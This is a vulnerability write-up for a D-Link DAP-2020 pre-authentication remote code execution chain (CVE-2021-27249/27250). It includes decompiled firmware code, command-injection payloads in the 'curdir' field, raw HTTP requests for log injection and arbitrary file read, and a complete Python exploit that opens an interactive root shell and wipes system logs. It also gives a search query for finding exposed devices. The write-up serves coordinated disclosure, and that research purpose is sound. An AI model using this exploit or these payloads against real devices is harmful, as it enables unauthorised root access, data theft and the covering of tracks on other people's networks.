DLink 远程代码执行漏洞（CVE-2021-27249）

| ID | Product | Version | Vulnerability | | ------------------------------ | --------------- | ------- | ---------------------------- | | CVE-2021-27249，CVE-2021-27250 | D-Link DAP-2020 | 1.01 | Zero-Click Preauth RCE Chain | # D-LinkGATE Remote Code Execution # Description **Affected devices:** We tested our POC on the DAP-2020 (Hardwareversion: A1, Firmware-Version: 6.10) model. Since the vulnerability affects a core component further models might be subject to this vulnerability. This can be checked with ZoomEye (Shodan Competitor) using the following dork: https://www.zoomeye.org/searchResult?q=%2Fwebproc There currently seem to be 1.811.423 exposed, potentially vulnerable hosts. Over a million of these are exposed in Colombia. When we look at the statistics of internet users there ( _https://data.worldbank.org/indicator/IT.NET.USER.ZS?name_desc=false &locations=CO_) we notice 65% of the population using the internet. After derriving the 65% from a general population of 49.65 millions we end up with around 32 million internet users. Correlating those values against our active hosts we end up being able to exploit over 3.5% of Colombia with a single click. The exploit chain works with a default configuration and, if exposed to the internet, does not require user interaction. **Architecture:** We can use the official "Firmware Update" image from the vendor since it isn't encrypted. So no need to dump the firmware via UART or SPI Flash. ``` Jannis@SUID:~$ wget ftp://ftp.dlink.de/dap/dap-2020/driver_software/DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip --2021-02-26 19:25:45-- ftp://ftp.dlink.de/dap/dap-2020/driver_software/DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip => ‘DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip’ Resolving ftp.dlink.de (ftp.dlink.de)... 217.6.104.69 Connecting to ftp.dlink.de (ftp.dlink.de)|217.6.104.69|:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD (1) /dap/dap-2020/driver_software ... done. ==> SIZE DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip ... 3827340 ==> PASV ... done. ==> RETR DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip ... done. Length: 3827340 (3.6M) (unauthoritative) DAP-2020_fw_reva_102rc002_ALL 100%[=================================================>] 3.65M 1.12MB/s in 3.3s 2021-02-26 19:25:49 (1.12 MB/s) - ‘DAP-2020_fw_reva_102rc002_ALL_en_20200322.zip’ saved [3827340] ``` After downloading the firmware from D-Link's FTP server we can use binwalk to extract the filesystem. ``` Jannis@SUID:~/DAP-2020_fw_reva_102rc002_ALL_en_20200322$ binwalk -e DAP-2020_RevA_Firmware_102rc002.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 164 0xA4 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3949248 bytes 1143972 0x1174A4 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2682216 bytes, 1876 inodes, blocksize: 65536 bytes, created: 2020-07-10 09:10:05 ``` The important files are stored in the webroot: *DAP-2020_fw_reva_102rc001_ALL_en_20171120\DAP-2020_RevA_Firmware102rc001\usr\www* It contains a few html files used by the webserver and a cgi-bin providing access to the mips binaries. * Webproc: Main Binary used for handling of web interface * Webupg: Binary used for file uploads, firmware upgrades, config changes Those are not stripped and feature no compile-time security features like NX, PIE or RELRO. ``` Jannis@SUID:~/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin$ checksec webproc [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/Jannis/.cache/.pwntools-cache-3.7/update to 'never' (old way). Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide): [update] interval=never [*] You have the latest version of Pwntools (4.3.1) [!] Could not populate MIPS GOT: seek out of range [!] Did not find any GOT entries [*] '/home/Jannis/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin/webproc' Arch: mips-32-big RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Jannis@SUID:~/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin$ checksec webupg [!] Could not populate MIPS GOT: seek out of range [!] Did not find any GOT entries [*] '/home/Jannis/DAP-2020_fw_reva_102rc002_ALL_en_20200322/_DAP-2020_RevA_Firmware_102rc002.bin.extracted/squashfs-root/usr/www/cgi-bin/webupg' Arch: mips-32-big RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` **Vulnerabilities:** **-Blind RCE:** The root-cause lies in a function called WEB_CmdFileList. The function tries to check if files exist in a specific directory based on user input using process open (popen). While it does perform some string sanitization it isn't executed properly and can be bypassed by an attacker. ``` if (*(int *)(iParm1 + 0x10) == 2) { iVar1 = OM_BufferNew(0,"web_cmd.c",0x567); if (iVar1 != 0) { iVar6 = 0; RAWINPUT = OM_ValFind(&g_pstWebVars,"var:curdir"); if (RAWINPUT == 0) { snprintf((char *)RCEGOAL,0x400,"ls -la \"/mnt\""); OM_ValSet(&g_pstWebVars,"var:curdir",&DAT_0040e694); RAWINPUT = OM_ValFind(&g_pstWebVars,"var:curdir"); } strip_path(*(undefined4 *)(RAWINPUT + 4),STRIPPEDINPUT); iVar2 = valied_dir(STRIPPEDINPUT); pcVar7 = snprintf; __s = RCEGOAL; if (iVar2 == 0) { pcVar3 = (char *)0x400; pcVar4 = "ls -la /mnt"; } else { snprintf((char *)__s,0x400,"ls -la \"/mnt%s\"",STRIPPEDINPUT); pcVar3 = "var:curdir"; pcVar4 = STRIPPEDINPUT; pcVar7 = OM_ValSet; __s = &g_pstWebVars; } (*pcVar7)(__s,pcVar3,pcVar4); __stream = popen((char *)RCEGOAL,"r"); LAB_00409500: ``` The router implements a custom templating engine to call certain parts of the code. reach this part we need to provide a value into the "curdir" variable. We also need a "filels" tag used in an earlier piece of code that triggers our vulnerable part. A first simple approach would be uploading a new html page over a language pack including: `"<?echo $var:curdir ?><?filels /?>""` We then are able to supply values over GET or POST requests calling the curdir variable. POST Example: Append {"var:curdir": "/\" && ls / #'} to your usual POST request doing something else with the user. Alternatively you can just append it to a GET request. However since the exploit at this stage is blind you would get no usuable response back yet (only forward slashes since the application is supposed to display paths). **-Blind RCE to full RCE escalation** Due to the way the format string provides data from the popen stream to stdout we can guess if a command succeeds or not. ``` else { snprintf((char *)__s,0x400,"ls -la \"/mnt%s\"",STRIPPEDINPUT); pcVar3 = "var:curdir"; pcVar4 = STRIPPEDINPUT; pcVar7 = OM_ValSet; __s = &g_pstWebVars; } (*pcVar7)(__s,pcVar3,pcVar4); __stream = popen((char *)RCEGOAL,"r"); LAB_00409500: iVar2 = feof(__stream); if (iVar2 == 0) { iVar2 = fscanf(__stream,"%s %s %s %s %s %s %s %s%[^\n]\n",auStack592,auStack576,auStack568, auStack536,auStack504,auStack488,auStack480,auStack472,acStack456); if (iVar2 == 9) { iVar2 = strcmp(acStack456,"."); if (iVar2 != 0) { iVar2 = strcmp(acStack456,".."); if (iVar2 == 0) { iVar2 = strcmp(*(char **)(RAWINPUT + 4),"/"); ``` Using a command like {"var:curdir": "/\" && mkdir test || ls -lax / #'} displays either one slash for a succeeded command or eight slashes from the ls -lax (which is guaranteed to suceed). Eight slashes is the maximum due to the way fscanf is formated. We can use this and pipe our output into a public directory: {"var:curdir": "/\" && mkdir test > /tmp/test || ls -lax / #'}. Now the full output is available at /tmp/test, letting us gain regular RCE capabilities! **-Log Injection** We can provide an arbitrary username when trying to login. The username is written to the system logs, thus allowing us to inject arbitrary strings into the logfiles. ``` POST /cgi-bin/webproc HTTP/1.1 Host: dlinkap User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 203 Origin: http://dlinkap DNT: 1 Connection: close Referer: http://dlinkap/cgi-bin/webproc Cookie: sessionid=365dfaef; auth=nok; expires=Mon, 31-Jan-2050 16:00:00 GMT; Lan_IPAddress=dlinkap; language=zh_cn; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT; langmanulset=yes Upgrade-Insecure-Requests: 1 getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=CONTROLLED&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef ``` *Log Output:* ``` ###2011-01-01 20:03:34 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[] A new Device Connected, IPaddress:169.254.20.175, MacAddress:9c:b6:d0:bb:ef:d7 ###2011-01-01 20:03:34 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] Not found session 365dfaef, user login check failed ###2011-01-01 20:06:04 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong ###2011-01-01 20:06:16 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong ###2011-01-01 20:06:36 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong ###2011-01-01 20:10:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong ###2011-01-01 20:12:18 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong ###2011-01-01 20:13:56 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User CONTROLLED login failed, because username or password is wrong ###2011-01-01 20:14:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User CONTROLLED login failed, because username or password is wrong ``` **-Arbitrary File Read** When sending a login request we are provided with several POST options. We can use the errorpage= tag to get redirected to an arbitrary page after a failed login request thus leaking arbitrary system files. ``` POST /cgi-bin/webproc HTTP/1.1 Host: dlinkap User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 198 Origin: http://dlinkap DNT: 1 Connection: close Referer: http://dlinkap/cgi-bin/webproc Cookie: sessionid=365dfaef; auth=nok; expires=Mon, 31-Jan-2050 16:00:00 GMT; Lan_IPAddress=dlinkap; language=zh_cn; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT; langmanulset=yes Upgrade-Insecure-Requests: 1 getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef ``` *HTTP Response:* ``` HTTP/1.0 200 OK Content-type: text/html Cache-Control: no-cache set-cookie: sessionid=365dfaef; set-cookie: auth=nok; set-cookie: expires=Mon, 31-Jan-2050 16:00:00 GMT; ###2011-01-01 20:00:21 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Determined physical RAM map: ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] memory: 02000000 @ 00000000 (usable) ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] User-defined physical RAM map: ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] memory: 02000000 @ 00000000 (usable) ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Zone PFN ranges: ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal 0x00000000 -> 0x00002000 ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Movable zone start PFN for each node ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] early_node_map[1] active PFN ranges ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] 0: 0x00000000 -> 0x00002000 ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] On node 0 totalpages: 8192 ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] free_area_init_node: node 0, pgdat 803a6920, node_mem_map 81000000 ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal zone: 64 pages used for memmap ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal zone: 0 pages reserved ###2011-01-01 20:00:22 [5] syslog: Accessor:[CPE] Method:[Logger] Para:[] Result:[0] Normal zone: 8128 pages, LIFO batch:0 ... ``` **-Arbitrary File upload** An authenticated user can download a language pack, edit it, rezip it and upload it to add custom files into the system. **-LPE** Privilege Escalation not necessary since webproc is running as root already. **-Exploit chain** Our initial approach was "Upload File" -> "Inject tags into language pack" -> "Trigger them over request and gain root access." However after finding a bunch of useful vulnerabilities we discovered the following preauth chain: "Use username log injection to insert templating tags into syslogs" -> "Use errorpage arbitrary file read on syslogs to trigger tags" -> "Provide rce information HTTP request and pipe to file" -> "Use arbitrary file read to read rce information". This way we get root access without authentication or user interaction and gain access over the network. **-Full POC** ``` import requests import random import string import signal import sys TARGET = "http://dlinkap:80" def make_exploit(cmd,path): session = requests.session() burp0_url = TARGET + "/cgi-bin/webproc" burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"} burp0_data = {"getpage": "html/index.html", "errorpage": "/var/log/sysevent.txt", "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b", "var:curdir": "/\" && {0} > /tmp/{1} || ls -lax / #'".format(cmd,path)} session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) def write_file(cmd,path): session = requests.session() burp0_url = TARGET + "/cgi-bin/webproc" burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"} burp0_data = {"getpage": "html/index.html", "errorpage": "/var/log/sysevent.txt", "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b", "var:curdir": "/\" && echo {0} >> {1} || ls -lax / #'".format(cmd,path)} session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) def validate_exploit(path): session = requests.session() burp0_url = TARGET + "/cgi-bin/webproc" burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"} burp0_data = {"getpage": "html/index.html", "errorpage": "/tmp/{0}".format(path), "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b"} res = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print(res.content.decode('utf-8')) def kill_silent(cmd): session = requests.session() burp0_url = TARGET + "/cgi-bin/webproc" burp0_cookies = {"sessionid": "1ba9028b", "auth": "nok", "expires": "Mon, 31-Jan-2050 16:00:00 GMT", "Lan_IPAddress": "dlinkap", "language": "zh_cn", "langmanulset": "yes", "sys_UserName": "admin", "expires": "Mon, 31-Jan-2050 16:00:00 GMT"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://dlinkap", "DNT": "1", "Connection": "close", "Referer": "http://dlinkap/cgi-bin/webproc?getpage=html/languages/German/help_setup.html&errorpage=html/main.html&var:language=German&var:menu=setup&var:page=wizard&var:login=true", "Upgrade-Insecure-Requests": "1"} burp0_data = {"getpage": "html/index.html", "errorpage": "/var/log/sysevent.txt", "var:menu": "setup", "var:page": "wizard", "var:login": "true", "obj-action": "auth", ":username": "", ":password": '', ":action": "login", ":sessionid": "1ba9028b", "var:curdir": "/\" && {0} || ls -lax / #'".format(cmd)} session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) def generate_location(stringLength=10): """Generate a random string of fixed length """ letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) def signal_handler(sig, frame): print("[*] Exiting with light cleanup") kill_silent("rm " + loc) exit() signal.signal(signal.SIGINT, signal_handler) print("[*] Starting D-LinkGATE") loc = generate_location() print("[+] Generated secret location for file leakage: /tmp/" + loc) r = requests.get(TARGET) if('window.location.href = "/cgi-bin/webproc";' not in r.content): print("[!] Bad target...exiting") exit() print("[+] Target valid up & running: " + TARGET) print("----------------------------------") print(" Welcome to ro(u)tshell ") print("----------------------------------") #loc = generate_location() while True: exploit = raw_input(">_ ") if(exploit == "killme"): print("[*] Performing hard cleanup") kill_silent("rm " + loc) kill_silent("echo '' > /var/log/lastlog") kill_silent("echo '' > /var/log/messages") kill_silent("echo '' > /var/log/original_data") kill_silent("echo '' > /var/log/sysevent.txt") kill_silent("echo '' > /var/log/wtmp") elif(exploit == "ll"): make_exploit("cat /var/log/sysevent.txt", loc) leak = validate_exploit(loc) elif(exploit == "write"): path = raw_input("path:") content = raw_input("content:") write_file(content, path) elif(exploit == "fwrite"): path = raw_input("path:") lpath = raw_input("local_path:") with open(lpath, "rb") as file: file_content = file.read() write_file(file_content, path) else: make_exploit(exploit, loc) leak = validate_exploit(loc) ``` Output: ``` Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32 Type "copyright", "credits" or "license()" for more information. >>> ================ RESTART: C:\Users\Jannis\Desktop\exploit.py ================ [*] Starting D-LinkGATE [+] Generated secret location for file leakage: /tmp/cgcsxyfmds [+] Target valid up & running: http://dlinkap:80 ---------------------------------- Welcome to ro(u)tshell ---------------------------------- >_ ls cgi-bin factory_mode.html html index.html safe_index.html test_version.html version.txt webAuth.xml >_ ls / bin dev etc lib mnt pool proc root sbin sys tmp usr var >_ ps PID Uid VSZ Stat Command 1 root 1756 SW init 2 root SW< [kthreadd] 3 root SW< [ksoftirqd/0] 4 root SW< [events/0] 5 root SW< [khelper] 6 root SW< [async/mgr] 7 root SW< [kblockd/0] 8 root SW [pdflush] 9 root SW< [kswapd0] 14 root SW< [mtdblockd] 42 root 2432 SW /usr/sbin/mini_httpd -d /usr/www -c /cgi-bin/* -u roo 46 root 1756 SW -sh 47 root 1756 SW /usr/sbin/inetd 48 root 2336 SW /usr/bin/pc 49 root 4028 SW /usr/bin/logic 50 root 2288 SW /usr/bin/ip6mon 51 root 2288 SW /usr/bin/ramon 52 root 2300 SW /usr/bin/ip6aac 67 root 1752 SW /sbin/klogd -n 68 root 2344 SW /usr/bin/logmonitor /var/log/sysevent.txt 24480 /var/ 265 root 1472 SW /usr/sbin/wscd -start -c /var/wscd.conf -w wlan0 -fi 311 root 1208 SW /usr/sbin/radvd -C /var/radvd.conf -d 1 326 root 2044 SW /sbin/dproxy -c /etc/dproxy.conf -d 603 root 1120 SW /sbin/nbns -s dlinkap -i 169.254.230.56 -k fe80::6263 608 root 1120 SW /sbin/nbns -s dlinkap -i 169.254.230.56 -k fe80::6263 644 root 1140 SW iwcontrol wlan0 1010 root 2132 SWN webproc 1012 root 2460 SW /usr/sbin/mini_httpd -d /usr/www -c /cgi-bin/* -u roo 1013 root 1756 SWN sh -c ls -la "/mnt/" && ps > /tmp/cgcsxyfmds || ls 1015 root 1756 RWN ps >_ date Sat Jan 1 20:59:16 CCT 2011 >_ ``` # Disclosure Timeline * June 19, 2020 - Submitted vulnerability to Zeroday Initiative (ZDI) * July 03, 2020 - Submitted additional product information to ZDI * Aug 12, 2020 - Submitted additional details to ZDI * Aug 30, 2020 - Sold vulnerabilities (27249 & 27250) to ZDI * Aug 30, 2020 - Sold vulnerabilities (27249 & 27250) to ZDI * Sep 08, 2020 - ZDI reported vulnerability to vendor * Feb 24, 2020 - Coordinated public release of advisory # Credit Jannis Kirschner & Anthony Schneiter from Team SUID # References Further information can be obtained from ZDI reports: * <https://www.zerodayinitiative.com/advisories/ZDI-21-204/> * <https://www.zerodayinitiative.com/advisories/ZDI-21-205/>